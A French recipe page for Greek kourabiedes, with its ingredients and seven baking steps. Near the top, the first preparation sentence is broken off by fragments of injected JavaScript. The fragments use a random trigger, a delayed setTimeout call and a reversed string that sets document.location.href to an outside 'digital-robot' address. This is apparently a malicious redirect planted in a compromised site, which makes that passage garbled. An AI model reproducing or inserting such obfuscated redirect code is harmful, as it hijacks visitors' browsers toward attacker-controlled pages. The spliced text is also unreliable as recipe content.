Kourabiedes (Grecque)
2017-11-20- Cuisine : Biscuit
- Thématique : Recettes du monde, Végétarien
- Niveau : Difficile
Dans une poêle sans matière grasse, faites griller les amandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andes sur feu vif, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Écrasez longuement le beurre avec une
Ingrédients
- Pour 4 biscuits
- 150 g d'amandes concassées
- 200 g de beurre ramolli
- 75 g de sucre glace
- 1 jaune d'œuf
- 300 g de farine
- 1 cuillère à soupe de fleur d'oranger
Préparation de la recette
Etape 1
Dans une poêle sans matière grasse, faites griller les amandes sur feu vif, tout en remuant.
Etape 2
Ecrasez longuement le beurre avec une fourchette, puis ajoutez le sucre glace, le jaune d'œuf et la fleur d'oranger. Mélangez avec énergie.
Etape 3
Incorporez les dans la préparation en attente, ainsi que la farine jusqu'à obtenir une pâte malléable.
Etape 4
Avec une cuillère à soupe formez des boulettes que vous déposez sur la plaque du four légèrement beurrée.
Etape 5
Les aplatir légèrement pour avoir la forme d'une galette.
Etape 6
Préchauffez le four à 150° C thermostat 5. Enfournez et faites cuire pendant 10 minutes environ.
Etape 7
Vérifiez la cuisson des biscuits. Déposez quelques gouttes de fleur d'oranger. Parsemez de sucre glace et dégustez.
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